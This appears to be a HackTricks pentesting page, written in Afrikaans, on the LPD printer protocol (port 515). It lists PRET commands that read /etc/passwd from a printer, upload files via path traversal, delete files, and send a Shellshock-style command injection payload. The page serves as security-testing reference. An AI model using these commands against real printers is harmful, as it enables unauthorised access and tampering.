{{#include ../banners/hacktricks-training.md}} ### **Inleiding tot die LPD Protokol** In die 1980's is die **Line Printer Daemon (LPD) protokol** ontwikkel in Berkeley Unix, wat later deur RFC1179 geformaliseer is. Hierdie protokol werk oor poort 515/tcp, wat interaksies deur die `lpr` opdrag moontlik maak. Die essensie van druk via LPD behels die stuur van 'n **beheerlêer** (om werksbesonderhede en gebruiker te spesifiseer) saam met 'n **data-lêer** (wat die drukinligting bevat). Terwyl die beheerlêer die keuse van **verskeie lêerformate** vir die data-lêer toelaat, word die hantering van hierdie lêers bepaal deur die spesifieke LPD-implementering. 'n Algemeen erkende implementering vir Unix-agtige stelsels is **LPRng**. Opmerklik is dat die LPD-protokol uitgebuit kan word om **kwaadwillige PostScript** of **PJL-drukwerk** uit te voer. ### **Gereedskap vir Interaksie met LPD Drukkers** [**PRET**](https://github.com/RUB-NDS/PRET) stel twee noodsaaklike gereedskap bekend, `lpdprint` en `lpdtest`, wat 'n eenvoudige metode bied om met LPD-ondersteunde drukkers te kommunikeer. Hierdie gereedskap stel 'n reeks aksies in staat, van die druk van data tot die manipulasie van lêers op die drukker, soos aflaai, opgelaai of verwyder: ```python # To print a file to an LPD printer lpdprint.py hostname filename # To get a file from the printer lpdtest.py hostname get /etc/passwd # To upload a file to the printer lpdtest.py hostname put ../../etc/passwd # To remove a file from the printer lpdtest.py hostname rm /some/file/on/printer # To execute a command injection on the printer lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4' # To send a mail through the printer lpdtest.py hostname mail lpdtest@mailhost.local ``` Vir individue wat belangstel om die wêreld van **printer hacking** verder te verken, kan 'n omvattende hulpbron hier gevind word: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page). # Shodan - `port 515` {{#include ../banners/hacktricks-training.md}}